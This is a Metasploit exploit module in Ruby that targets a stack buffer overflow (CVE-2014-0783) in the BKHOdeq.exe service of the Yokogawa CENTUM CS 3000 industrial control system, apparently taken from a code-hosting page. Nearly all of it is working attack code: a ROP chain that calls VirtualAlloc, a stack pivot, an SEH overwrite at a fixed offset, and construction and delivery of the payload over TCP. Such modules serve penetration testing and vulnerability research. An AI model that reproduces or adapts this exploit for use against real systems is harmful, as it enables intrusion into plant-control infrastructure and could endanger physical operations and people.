172 lines
5.1 KiB
Ruby
172 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
|
|
exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
|
|
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
|
|
2003 SP2.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'juan vazquez',
|
|
'Redsadic <julian.vilas[at]gmail.com>'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
|
|
[ 'CVE', '2014-0783']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 6000,
|
|
'DisableNops' => true,
|
|
'BadChars' => ":\r\n"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
|
|
{
|
|
'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
|
|
'Offset' => 8660,
|
|
'StackPivotAdjustment' => 108
|
|
}
|
|
]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => 10
|
|
},
|
|
'DisclosureDate' => 'Mar 10 2014',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
# Required for EIP offset
|
|
Opt::RPORT(20171)
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
# It forces an huge allocation, which should fail,
|
|
# and return back an error answer from the server
|
|
# while parsing the packet header.
|
|
pkt = build_pkt(0xffffffff)
|
|
res = send_pkt(pkt)
|
|
if valid_response?(res)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
my_payload = payload.encoded
|
|
rop_chain = create_rop_chain
|
|
|
|
data = rand_text(target['StackPivotAdjustment'])
|
|
data << rop_chain
|
|
data << stack_adjust
|
|
data << my_payload
|
|
data << rand_text(target['Offset'] - data.length)
|
|
data << generate_seh_record(target.ret)
|
|
|
|
pkt = build_pkt(data.length, data)
|
|
|
|
print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
|
|
connect
|
|
sock.put(pkt)
|
|
disconnect
|
|
end
|
|
|
|
def build_pkt(data_length, data = "")
|
|
header = rand_text(4) # iMark
|
|
header << [data_length].pack("N") # Data length
|
|
header << rand_text(4) # NumSet
|
|
header << rand_text(2) # req
|
|
header << rand_text(2) # Unknown
|
|
|
|
pkt = header + data
|
|
|
|
pkt
|
|
end
|
|
|
|
def send_pkt(data)
|
|
connect
|
|
sock.put(data)
|
|
res = sock.get_once
|
|
disconnect
|
|
|
|
res
|
|
end
|
|
|
|
def valid_response?(data)
|
|
return false unless data
|
|
return false unless data.length == 4
|
|
return false unless result_code(data) == 0
|
|
|
|
true
|
|
end
|
|
|
|
def result_code(data)
|
|
data.unpack("N").first
|
|
end
|
|
|
|
def stack_adjust
|
|
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
|
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
|
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
|
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
|
|
|
adjust
|
|
end
|
|
|
|
def create_rop_chain
|
|
# rop chain generated with mona.py - www.corelan.be
|
|
rop_gadgets =
|
|
[
|
|
0x63b27a60, # RET # padding on XP SP3
|
|
0x63b27a60, # RET # padding on XP SP3
|
|
0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]
|
|
0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
|
|
0x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
|
|
0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
|
|
].flatten.pack("V*")
|
|
rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
|
|
rop_gadgets << [
|
|
0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]
|
|
0x61e648c0, # & push esp # ret [LibBKCCommon.dll]
|
|
0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]
|
|
0x00000001, # 0x00000001-> ebx
|
|
0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
|
|
0x00001000, # 0x00001000-> edx
|
|
0x63a93f6f, # POP ECX # RETN [libbkhopx.dll]
|
|
0x00000040, # 0x00000040-> ecx
|
|
0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]
|
|
0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]
|
|
0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]
|
|
0x90909090, # nop
|
|
0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]
|
|
].flatten.pack("V*")
|
|
|
|
rop_gadgets
|
|
end
|
|
|
|
end
|